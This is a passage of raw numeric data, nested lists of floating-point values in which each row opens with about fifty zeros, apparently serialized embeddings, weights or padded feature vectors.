0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.02327, 0.258, -0.321, -0.287, -0.608, -0.1404, -0.1112, 0.678, -0.07776, 1.064, -0.3542, -0.0483, 0.11066, 0.602, 0.3857, 0.6772, 0.531, 0.3464, 0.91, -1.098, -0.1863, -1.418, -1.634, -0.3396, -0.4873, 0.5503, 0.2527, -1.728, 0.04465, 0.05643, 0.3557, 0.665, 0.0361, 0.01619, 0.1527, -0.348, -0.005066, -0.521, -1.033, 0.808, -1.323, 0.05994, 0.2822, 0.9243, 0.37, 0.396, -0.2722, 0.347, -0.1327, -0.3354], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.514, 0.793, -0.197, 0.4949, 0.2471, 0.1403, -0.8247, 0.4646, -1.301, -0.615, 0.9624, 1.047, 1.2295, -0.581, -1.514, 0.6504, -0.6167, -0.5537, -2.16, -0.4602, 0.655, 0.3389, -1.487, 0.0865, 0.4336, -0.2966, 0.0223, 0.775, 0.923, 0.0181, -0.2006, -1.359, -0.02509, 0.6187, -1.631, -0.1731, 0.5776, 1.093, 0.2301, 0.02596, -0.1848, 0.1037, -0.2126, 0.6694, 0.4976, -0.285, -0.9272, -0.1097, -1.058, 0.438], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.31, -1.769, -0.2311, -0.2678, -0.737, -0.2517, 0.2556, 0.006348, 0.1675, -0.2932, -0.3904, 0.0607, -0.173, 0.03888, 0.693, 0.1764, -0.251, -0.05182, -1.095, -0.2688, 0.1136, -0.3552, -1.899, 0.1367, 0.2297, -0.03003, 0.0437, 0.88, 0.04306, 0.1578, 0.697, 0.2815, 0.0384, 5.98, 0.332, 0.0944, 0.05023, -0.2355, -0.2886, 0.307, 0.2986, -0.2603, 0.02917, -0.2385, -0.1343, 0.5146, 1.122, 0.1448, -0.1404, -0.3894], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.02835, -0.02922, -0.006145, 0.004406, -0.02382, 0.00539, -0.02528, -0.04938, -0.03366, -0.01039, -0.02939, -0.03134, 0.03064, 0.01892, -0.015366, -0.006374, -0.01955, 0.005848, -0.0242, -0.004772, -0.05032, 0.0488, -0.007195, 0.01264, -0.03995, -0.014175, -0.05624, -0.02068, -0.02266, 0.003416, -0.0486, 0.03415, -0.01171, 0.02704, -0.01267, 0.00366, -0.04926, -0.01707, 0.00925, 0.04602, 0.00638, -0.04932, -0.0517, -0.0474, -0.04938, 0.03366, -0.00695, 0.02519, -0.04593, -0.00329], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.013, -0.1019, 0.799, -1.277, 0.4905, 0.0877, -1.012, -0.3972, 0.7188, -1.403, 0.2954, 0.64, 0.1898, -0.7515, 0.7056, 0.01035, -2.162, 2.498, -3.465, 0.511, -0.4421, 0.1671, -1.154, 0.1594, 0.4216, 1.126, 0.0174, 0.4873, 0.191, 1.221, 0.1497, 1.018, -0.04538, 0.06396, 0.1902, 0.1403, 0.00477, 0.551, 0.4824, -0.2986, 0.2922, -0.05914, 0.02678, 0.1669, -0.0658, -0.5757, -0.01776, -0.919, -0.4917, -0.2344], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.13, -1.982, 0.681, -1.008, 0.01253, 0.6167, 0.502, -0.2474, -0.742, 0.2737, -0.542, -0.4333, -0.778, -0.009834, -0.4453, 0.3381, 0.2355, 0.6025, 2.145, 0.8286, -0.653, 0.04535, 1.561, 0.982, 0.1641, 0.1416, -0.1122, 0.3843, -0.0873, -1.333, 0.3528, 1.203, 0.01677, -1.757, 0.1261, -1.066, -0.1321, -0.1589, 0.2993, 0.4338, 0.3784, -0.1583, 0.274, -0.299, 0.6704, 0.365, -0.94, -0.2089, -0.003304, -0.3008], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2349, -0.04584, 0.5273, 0.2341, 0.1656, 0.9736, 0.9907, 0.705, -1.539, 0.1971, -0.09937, 1.0625, -0.08716, 0.09, -2.518, 0.541, 0.3257, -0.08215, -0.3076, 0.2852, -0.332, -0.4265, -0.6367, 0.2179, -1.107, 0.2502, -0.2275, 0.26, -0.2394, -7.06, 0.175, 0.3154, -0.02734, -0.4534, 0.0894, -0.5933, -0.667, 0.5127, -0.1782, -0.741, -0.347, 0.17, -0.9834, 0.96, -0.000554, 0.3132, -0.145, -1.087, 0.4363, -0.1567], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.463, 0.0484, -0.2152, 0.1985, 0.6626, 1.138, -0.1573, 1.565, -0.983, 0.335, 0.2009, 0.748, -0.373, -0.31, -0.4458, 0.02258, -0.9565, -0.10913, -1.144, -0.2874, 0.956, -0.0441, 0.01272, -0.63, 0.912, 0.571, 1.099, -0.256, -0.04398, -0.06146, 0.8896, -1.408, -0.0075, -0.2103, -0.2009, 0.8496, -0.2747, -0.8794, 0.1259, -0.1522, -0.1987, 0.7856, 0.1777, 0.5454, -0.1832, -0.0971, 0.1752, 0.04395, -0.218, -0.4595], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.235, 0.03342, 0.58, -0.6465, -0.1398, 0.06058, 2.217, 0.09283, -0.1147, 0.9697, -0.155, -1.415, 0.3293, 0.3242, 0.788, 0.57, -0.885, 1.496, 0.5957, 0.1194, 0.3193, -1.997, -0.2966, -0.5757, -0.856, -0.666, 0.4185, 0.319, 0.003622, 0.002972, 0.2664, -4.133, -0.01194, -0.4138, 0.005096, 0.513, -0.1312, 0.3333, 0.8394, -1.031, 0.621, 0.0938, 0.008064, 0.0848, -0.226, 0.1971, 0.184, -0.4937, -1.321, 0.3047], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0979, -0.1415, 0.0545, -0.1547, 0.07605, 0.04156, 0.05203, 0.0671, 0.06683, 0.08276, 0.00492, 0.0759, 0.002829, 0.01938, 0.00502, 0.02426, -0.014145, 0.05423, -0.01241, 0.05826, -0.1376, 0.05853, 0.02274, -0.1149, -0.004154, 0.0957, 0.02063, -0.014755, 0.06445, -0.2788, 0.07715, 0.05624, 0.01459, 0.0899, 0.0703, 0.01738, 0.07983, 0.037, -0.2181, -0.04813, -0.1891, -0.1636, -0.2744, -0.04752, -0.1389, -0.08417, -0.04126, -0.1289, 0.003504, -0.1375], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0858, 0.03625, 0.802, 0.09235, 0.09955, 0.1658, 0.624, -0.8174, -1.019, -0.8286, -1.083, 1.875, 0.0948, 0.4583, 0.01504, -0.01251, -0.548, 0.3804, -2.057, 0.372, -1.583, -0.04272, -0.1326, -1.448, -0.1621, -0.481, 0.1534, 0.2104, 0.1921, 0.3398, 0.243, 0.3794, 0.05112, -0.0281, 0.3389, 0.3994, -0.08655, -0.2239, -1.736, 0.09265, 0.1418, -0.1477, 0.0816, -0.7153, -0.03986, -0.1344, -0.0246, -0.2076, -0.3818, 0.05768], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.783, -1.3125, 0.4922, -0.1277, 0.4485, 0.2522, -0.196, -0.2783, -0.8657, -0.3438, -0.1909, -0.6133, -0.3608, -0.4326, 0.0803, -0.931, -0.238, 0.3242, 0.9404, -0.1697, -3.541, 0.2756, 0.1227, 0.2878, 0.08624, 0.10144, 0.09375, 0.3767, -0.2167, 0.01585, 0.802, -0.3564, 0.01311, 0.01007, -0.1173, 0.1287, 0.05447, 0.333, -0.325, 0.263, -0.7046, 0.2893, -0.1155, -0.1061, -0.2737, -0.1375, 0.296, 0.2515, -0.1515, 0.812], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.2213, 0.002342, 0.04883, -0.9683, 0.769, -0.2544, 0.5454, 0.1293, 0.02403, 0.421, 0.201, -0.383, 0.8193, 0.9897, -0.2346, 0.4985, 0.313, -0.2163, -0.688, -0.4814, 0.2471, -0.4436, 0.12177, 0.5093, -0.1476, 0.01895, 0.3289, -0.814, -0.2037, -0.342, -0.3857, -0.718, 0.01677, 0.838, -0.1599, -0.717, 0.318, 0.195, 0.2627, -0.0905, 0.6323, -5.82, -0.858, -0.6055, 0.128, -0.4766, 0.4612, 0.641, -0.2737, 0.6943], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0863, 0.3008, 0.657, 0.039, 0.724, -0.3994, 0.547, 0.8154, 0.409, 0.3125, 0.2861, -1.782, 0.4119, 0.65, -0.9985, 0.571, 0.396, 0.5874, 1.258, 0.669, -0.313, 0.0842, 1.612, 0.089, -0.5327, -0.294, -1.248, 0.1948, 0.1401, -0.084, 1.323, 1.376, -0.009445, -0.7847, -0.6523, -0.237, -0.7314, -0.2454, -0.04865, 1.157, -0.64, -2.096, -0.2622, 0.956, -0.8354, -0.5356, 1.223, -0.819, 0.2494, -0.3604], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1475, 0.2136, 0.10535, -0.10675, 0.9473, -0.7153, -0.6763, 0.3071, -1.538, 0.2335, 0.05295, -0.991, 0.3135, 0.606, 0.5083, 0.707, 0.481, 0.4644, 0.01796, 1.327, -0.595, -0.02011, 3.098, 0.02943, -0.1569, 0.1798, -0.746, -0.4426, -0.5063, -0.05505, -0.2307, 1.017, -0.01176, 0.467, -0.7876, -0.518, -0.1725, -0.5527, 0.2136, 0.87, -0.5713, 2.166, 0.2169, 0.4116, -0.2446, -0.588, -0.2668, 1.598, 0.3215, -0.8276], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.5464, 0.0393, 0.4255, -0.4531, 0.3076, 0.156, 0.573, 0.2966, -1.329, -0.314, 0.2634, 0.2925, 0.563, 0.8286, -0.2517, 0.453, -0.2522, 0.0812, -1.4375, 0.3818, 0.3308, 0.0379, -0.4175, 0.06903, 0.0323, 0.4155, 1.036, -0.3555, 0.2054, 0.10205, 0.5874, -0.07947, 0.0382, -0.421, -0.218, -0.6733, 0.236, -0.587, -0.1301, 0.4636, 0.1125, 0.08264, 0.003334, 0.06097, 0.1244, 0.201, 0.2308, 0.0946, -0.4355, 0.3083], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.002842, -0.02347, -0.00713, 0.007103, 0.02248, -0.01921, -0.0543, 0.0231, 0.03458, -0.04062, -0.02713, -0.04468, 0.01337, -0.05203, 0.0191, -0.03577, 0.03253, -0.01523, 0.04254, -0.009056, -0.01077, -0.05795, -0.03772, 0.01475, 0.0423, -0.001076, 0.00691, -0.04605, 0.01877, 0.0003417, 0.02959, -0.01976, 0.02646, 0.03802, -0.03146, -0.003998, -0.02904, 0.008286, 0.0205, -0.03513, 0.0009627, -0.03845, 0.003424, -0.015335, -0.02011, -0.005634, -0.0528, -0.02571, 0.04092, -0.0537], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0732, -0.087, 0.833, -0.3782, 0.291, 0.9766, -0.384, 1.038, 0.4966, 0.329, 0.492, -1.464, -1.209, 0.621, 0.3486, 0.6177, 0.03278, 0.3362, 0.902, -0.2426, -0.8545, 1.032, 2.783, 1.18, -0.2466, -0.512, -0.6807, -0.2996, -0.5664, 0.3853, -0.02187, -0.0987, 0.03412, 0.4053, -0.2583, -0.2737, 0.7705, -0.4717, 0.318, 0.399, 0.8022, -0.299, 0.917, 0.3022, 0.4644, 0.3306, -0.264, -0.5156, 0.0663, 0.02728], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.04413, -0.005463, -0.02406, 0.001051, -0.04303, 0.04108, -0.003803, -0.00873, 0.03763, -0.04153, -0.002844, -0.04837, -0.04077, -0.014694, -0.03787, 0.044, -0.01078, 0.00862, 0.04767, 0.003658, -0.03613, -0.03099, -0.004723, 0.007557, -0.05103, -0.01694, -0.04755, 0.02179, 0.03754, -0.02783, 0.00976, -0.03854, -0.049, 0.00076, 0.01179, 0.014435, 0.009636, 0.02797, -0.02264, -0.03967, -0.01602, -0.04144, -0.004906, -0.05286, 0.03217, 0.011505, 0.0208, 0.001694, 0.02072, -0.02126], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.6187, -0.7554, 0.0915, -0.256, -0.04138, 0.1765, -0.001884, -0.7163, -0.224, 0.01866, -0.1013, -0.1709, -1.005, 0.75, -0.392, 0.06116, -0.066, -0.0631, 0.5894, -0.211, 0.692, 0.1359, -0.01779, -0.146, -0.072, -0.1565, -0.2866, 0.5576, -0.1802, 0.265, 0.11414, -1.035, -0.02853, 0.1323, -0.3223, 0.3733, 0.006573, 0.1836, 0.06064, 0.4756, -0.74, 0.429, -0.2339, 0.2247, 0.04614, -0.7007, 0.375, -0.2438, 0.937, -0.3982], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3584, -1.727, 0.2861, -0.3167, -0.2556, -0.492, -0.4524, 1.285, -0.03732, 0.5117, 0.4607, 0.64, 0.5146, -0.2053, -0.3777, 0.1997, -0.1631, -0.01389, 1.45, 0.508, 2.566, 0.1738, 0.585, -1.211, -0.2308, 0.2113, 0.09155, -0.314, 0.1752, -0.465, 0.636, 0.479, -0.007423, 1.852, -0.1864, 0.2761, 0.6255, 0.3516, -0.09143, 0.05844, 0.1715, -1.553, -0.5, -1.416, -0.6157, -0.2764, -0.2366, 0.4714, 0.1003, 0.1324], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.648, -2.586, 0.2656, -0.4749, 0.4143, 0.003208, -0.0159, 0.4631, -0.157, -0.04068, 0.1711, 0.6777, -0.3901, 0.02284, -0.2089, -0.07697, -0.033, 0.1901, -0.04382, 0.1334, -0.628, 0.2847, -0.2854, -1.297, 0.07697, 0.298, -0.04282, -0.1366, -0.3953, -0.9204, 0.311, 0.296, 0.03192, 2.875, 0.06555, 0.1812, 0.004375, 0.2776, -0.1877, 0.2382, -0.2343, 0.2472, -0.1838, 1.163, -0.01678, 0.10425, -0.005318, 0.1075, 0.07654, -0.3367], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.7393, -0.005245, -0.5522, -0.604, -0.6606, -1.275, 1.854, -0.768, 0.877, 1.705, 0.9985, -0.0968, 1.009, -0.561, -0.8696, 0.10315, 0.2139, 0.74, 3.139, -1.058, 0.1401, -0.3936, -2.139, 0.3486, -1.311, -0.2893, -0.382, -0.847, 0.1087, -0.4998, 0.9106, -0.136, 0.03625, -0.02939, 1.02, 0.567, 0.542, 0.4893, 0.1517, -0.5757, -2.068, 0.3545, -0.1827, -0.459, 0.9478, 0.511, 0.4082, 0.2136, -0.4036, -0.7754], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0551, -0.1154, -0.0522, -0.01604, 1.0, -0.793, 0.2551, 0.03345, 1.094, 0.551, -0.3992, -1.167, 0.2883, 0.01514, 0.3386, 1.042, 0.6206, 0.469, -2.602, 0.3535, -1.364, -0.893, 1.875, 1.721, 0.903, -0.4983, 0.3816, -0.8633, 0.2876, -3.518, 0.0699, 1.458, -0.002123, 0.5684, -0.2896, 0.0973, 1.487, -0.426, 0.11707, -2.678, -0.1951, -0.2935, 0.08527, 0.432, -0.1638, -1.245, -0.08813, -0.1516, -0.403, 0.6562], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0654, 0.04456, 0.5317, -0.43, 1.31, 0.2352, -0.03372, -0.832, -0.676, 0.892, -0.902, -1.039, 2.242, 0.1494, -0.6475, 1.084, -0.292, -0.104, 1.598, 0.7476, -0.8726, -0.319, 1.261, -0.2175, -0.433, -0.00284, -0.3672, -1.613, 0.1235, -1.568, 0.1289, -0.656, 0.05142, 1.098, -0.05673, 0.407, -1.769, -0.04056, 0.2876, 1.068, -0.066, 0.741, -0.9155, 0.7583, 0.1357, -0.303, -0.000842, -0.665, -0.122, 0.2546], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.013794, -0.04303, -0.00738, -0.0393, 0.03223, -0.06097, 0.037, 0.013885, -0.05182, -0.00986, -0.0525, -0.00824, 0.01788, 0.02266, -0.01472, 0.014046, 0.00809, -0.006218, -0.00813, -0.02936, 0.0387, 0.03525, -0.04944, -0.01659, 0.01817, -0.00896, -0.0424, 0.003376, -0.05707, 0.01906, 0.00862, 0.010735, -0.003874, -0.0387, -0.00011253, -0.0235, 0.00733, 0.001617, 0.01651, -0.02264, 0.01061, -0.01104, -0.03113, -0.0151, -0.05194, -0.03714, -0.01061, 0.02394, -0.01111, 0.02089], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.02757, -0.03186, 0.03622, -0.03296, -0.01682, -0.02258, -0.022, -0.02098, 0.03644, 0.008865, -0.02966, 0.025, -0.0345, -0.02116, -0.0308, 0.01685, -0.02084, 0.044, 0.0358, 0.02629, -0.0488, 0.01685, -0.01002, -0.0381, -0.04352, -0.02838, 0.01988, -0.05325, 0.03123, -0.004475, 0.014336, 0.02435, -0.03397, -0.03824, -0.01823, -0.03976, -0.0254, -0.0414, -0.03912, -0.05164, 0.04144, -0.000645, 0.0431, -0.03818, -0.02142, 0.0343, -0.01816, -0.04132, -0.05527, 0.002638], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.443, 0.1471, -0.02345, -0.0799, 0.5884, 0.4475, 0.566, 0.1882, -0.03592, 0.01126, -1.085, -0.253, -0.6294, 0.483, -0.709, 0.7744, -0.1045, -0.6167, -1.971, 0.8774, 0.2098, 0.08527, 0.515, -0.497, 0.1509, 0.1736, 0.3838, -1.392, -0.4036, 0.6587, -0.03662, 0.1538, 0.01875, -1.414, -0.707, -0.608, -1.025, -0.153, -0.4697, 0.6274, -0.686, 0.3965, -0.3203, 0.2837, -0.623, 0.04144, -0.3354, -1.066, 0.793, 0.752], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 